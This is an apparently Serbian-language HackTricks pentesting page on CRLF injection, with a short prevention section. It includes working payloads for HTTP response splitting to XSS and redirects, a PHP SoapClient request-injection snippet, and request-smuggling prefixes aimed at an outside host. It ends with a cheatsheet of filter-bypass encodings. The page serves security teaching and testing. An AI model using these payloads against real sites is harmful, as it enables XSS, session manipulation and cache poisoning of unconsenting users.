hacktricks/pentesting-web/crlf-0d-0a.md

236 lines
16 KiB
Markdown

# CRLF (%0D%0A) Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
### CRLF
Carriage Return (CR) i Line Feed (LF), zajedno poznati kao CRLF, su posebne sekvence karaktera koje se koriste u HTTP protokolu za označavanje kraja reda ili početka novog. Web serveri i pregledači koriste CRLF da razlikuju između HTTP zaglavlja i tela odgovora. Ovi karakteri se univerzalno koriste u HTTP/1.1 komunikacijama širom različitih tipova web servera, kao što su Apache i Microsoft IIS.
### CRLF Injection Vulnerability
CRLF injekcija uključuje umetanje CR i LF karaktera u korisnički uneti podatak. Ova akcija dovodi server, aplikaciju ili korisnika u zabludu da interpretira umetnutu sekvencu kao kraj jednog odgovora i početak drugog. Iako ovi karakteri nisu inherentno štetni, njihovo zloupotrebljavanje može dovesti do deljenja HTTP odgovora i drugih zlonamernih aktivnosti.
### Example: CRLF Injection in a Log File
[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
Razmotrite log fajl u admin panelu koji prati format: `IP - Vreme - Posetena Staza`. Tipičan unos može izgledati kao:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Napadač može iskoristiti CRLF injekciju da manipuliše ovim logom. Umetanjem CRLF karaktera u HTTP zahtev, napadač može promeniti izlazni tok i fabricirati log unose. Na primer, umetnuta sekvenca može transformisati log unos u:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Ovde, `%0d` i `%0a` predstavljaju URL-enkodirane forme CR i LF. Nakon napada, log bi obmanjujuće prikazivao:
```
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Napadač tako prikriva svoje zlonamerne aktivnosti tako što izgleda kao da je localhost (entitet koji se obično smatra pouzdanim unutar serverskog okruženja) izvršio radnje. Server interpretira deo upita koji počinje sa `%0d%0a` kao jedan parametar, dok se parametar `restrictedaction` analizira kao drugi, odvojen unos. Manipulisani upit efikasno oponaša legitimnu administrativnu komandu: `/index.php?page=home&restrictedaction=edit`
### HTTP Response Splitting
#### Opis
HTTP Response Splitting je sigurnosna ranjivost koja nastaje kada napadač iskoristi strukturu HTTP odgovora. Ova struktura razdvaja zaglavlja od tela koristeći specifičnu sekvencu karaktera, Carriage Return (CR) praćenu Line Feed (LF), koja se zajedno naziva CRLF. Ako napadač uspe da umetne CRLF sekvencu u zaglavlje odgovora, može efikasno manipulisati sadržajem narednog odgovora. Ova vrsta manipulacije može dovesti do ozbiljnih sigurnosnih problema, posebno Cross-site Scripting (XSS).
#### XSS kroz HTTP Response Splitting
1. Aplikacija postavlja prilagođeno zaglavlje ovako: `X-Custom-Header: UserInput`
2. Aplikacija preuzima vrednost za `UserInput` iz parametra upita, recimo "user\_input". U scenarijima koji nemaju pravilnu validaciju i kodiranje unosa, napadač može kreirati payload koji uključuje CRLF sekvencu, praćenu zlonamernim sadržajem.
3. Napadač kreira URL sa posebno kreiranim 'user\_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
* U ovom URL-u, `%0d%0a%0d%0a` je URL-enkodirani oblik CRLFCRLF. Prevari server da umetne CRLF sekvencu, čineći da server tretira naredni deo kao telo odgovora.
4. Server odražava napadačev unos u zaglavlju odgovora, što dovodi do nenamernog strukturalnog odgovora gde zlonamerni skript interpretira pregledač kao deo tela odgovora.
#### Primer HTTP Response Splitting koji dovodi do preusmeravanja
Sa [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
Pregledač na:
```
/%0d%0aLocation:%20http://myweb.com
```
I server odgovara sa zaglavljem:
```
Location: http://myweb.com
```
**Drugi primer: (sa** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### U URL Putanji
Možete poslati payload **unutar URL putanje** da kontrolišete **odgovor** sa servera (primer iz [ovde](https://hackerone.com/reports/192667)):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
Check more examples in:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### HTTP Header Injection
HTTP Header Injection, često iskorišćen kroz CRLF (Carriage Return and Line Feed) injekciju, omogućava napadačima da umetnu HTTP zaglavlja. Ovo može oslabiti bezbednosne mehanizme kao što su XSS (Cross-Site Scripting) filteri ili SOP (Same-Origin Policy), potencijalno dovodeći do neovlašćenog pristupa osetljivim podacima, kao što su CSRF tokeni, ili manipulacije korisničkim sesijama kroz postavljanje kolačića.
#### Exploiting CORS via HTTP Header Injection
Napadač može umetnuti HTTP zaglavlja kako bi omogućio CORS (Cross-Origin Resource Sharing), zaobilazeći ograničenja koja postavlja SOP. Ova povreda omogućava skriptama iz zlonamernih izvora da komuniciraju sa resursima iz drugog izvora, potencijalno pristupajući zaštićenim podacima.
#### SSRF and HTTP Request Injection via CRLF
CRLF injekcija se može iskoristiti za kreiranje i umetanje potpuno novog HTTP zahteva. Značajan primer ovoga je ranjivost u PHP-ovoj `SoapClient` klasi, posebno unutar `user_agent` parametra. Manipulacijom ovog parametra, napadač može umetnuti dodatna zaglavlja i sadržaj tela, ili čak potpuno injektovati novi HTTP zahtev. Ispod je PHP primer koji demonstrira ovu eksploataciju:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```
### Header Injection to Request Smuggling
Za više informacija o ovoj tehnici i potencijalnim problemima [**proverite izvor**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
Možete ubrizgati bitne zaglavlja kako biste osigurali da **pozadinski sistem zadrži vezu otvorenom** nakon odgovora na inicijalni zahtev:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Nakon toga, može se odrediti drugi zahtev. Ovaj scenario obično uključuje [HTTP request smuggling](http-request-smuggling/), tehniku gde dodatni zaglavlja ili elementi tela koje server dodaje nakon injekcije mogu dovesti do raznih sigurnosnih eksploatacija.
**Eksploatacija:**
1. **Injekcija zlonamernog prefiksa**: Ova metoda uključuje trovanje zahteva sledećeg korisnika ili web keša specificiranjem zlonamernog prefiksa. Primer ovoga je:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **Kreiranje prefiksa za trovanje reda odgovora**: Ovaj pristup uključuje kreiranje prefiksa koji, kada se kombinuje sa dodatnim smećem, formira kompletan drugi zahtev. Ovo može izazvati trovanje reda odgovora. Primer je:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
### Memcache Injekcija
Memcache je **key-value store koji koristi protokol u čistom tekstu**. Više informacija u:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
**Za sve informacije pročitajte**[ **originalni izveštaj**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
Ako platforma uzima **podatke iz HTTP zahteva i koristi ih bez sanitizacije** za obavljanje **zahteva** ka **memcache** serveru, napadač bi mogao da zloupotrebi ovo ponašanje da **ubaci nove memcache komande**.
Na primer, u prvobitno otkrivenoj ranjivosti, keš ključevi su korišćeni da vrate IP i port na koji bi korisnik trebao da se poveže, a napadači su mogli da **ubace memcache komande** koje bi **otrovale** **keš da pošalje detalje žrtava** (korisnička imena i lozinke uključena) na servere napadača:
<figure><img src="../.gitbook/assets/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&#x26;h=178&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
Pored toga, istraživači su takođe otkrili da mogu da desinkronizuju memcache odgovore kako bi poslali IP i portove napadača korisnicima čiji email napadač nije znao:
<figure><img src="../.gitbook/assets/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&#x26;h=506&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
### Kako sprečiti CRLF / HTTP zaglavlja injekcije u web aplikacijama
Da bi se umanjili rizici od CRLF (Carriage Return and Line Feed) ili HTTP zaglavlja injekcija u web aplikacijama, preporučuju se sledeće strategije:
1. **Izbegavajte direktan unos korisnika u zaglavljima odgovora:** Najsigurniji pristup je da se uzdržite od uključivanja unosa koji je obezbedio korisnik direktno u zaglavlja odgovora.
2. **Kodirajte specijalne karaktere:** Ako izbegavanje direktnog unosa korisnika nije izvodljivo, obavezno koristite funkciju posvećenu kodiranju specijalnih karaktera kao što su CR (Carriage Return) i LF (Line Feed). Ova praksa sprečava mogućnost CRLF injekcije.
3. **Ažurirajte programski jezik:** Redovno ažurirajte programski jezik koji se koristi u vašim web aplikacijama na najnoviju verziju. Odaberite verziju koja inherentno zabranjuje injekciju CR i LF karaktera unutar funkcija koje su zadužene za postavljanje HTTP zaglavlja.
### CHEATSHEET
[Cheatsheet odavde](https://twitter.com/NinadMishra5/status/1650080604174667777)
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## Automatski alati
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## Lista za detekciju Brute-Force
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
## Reference
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty savet**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}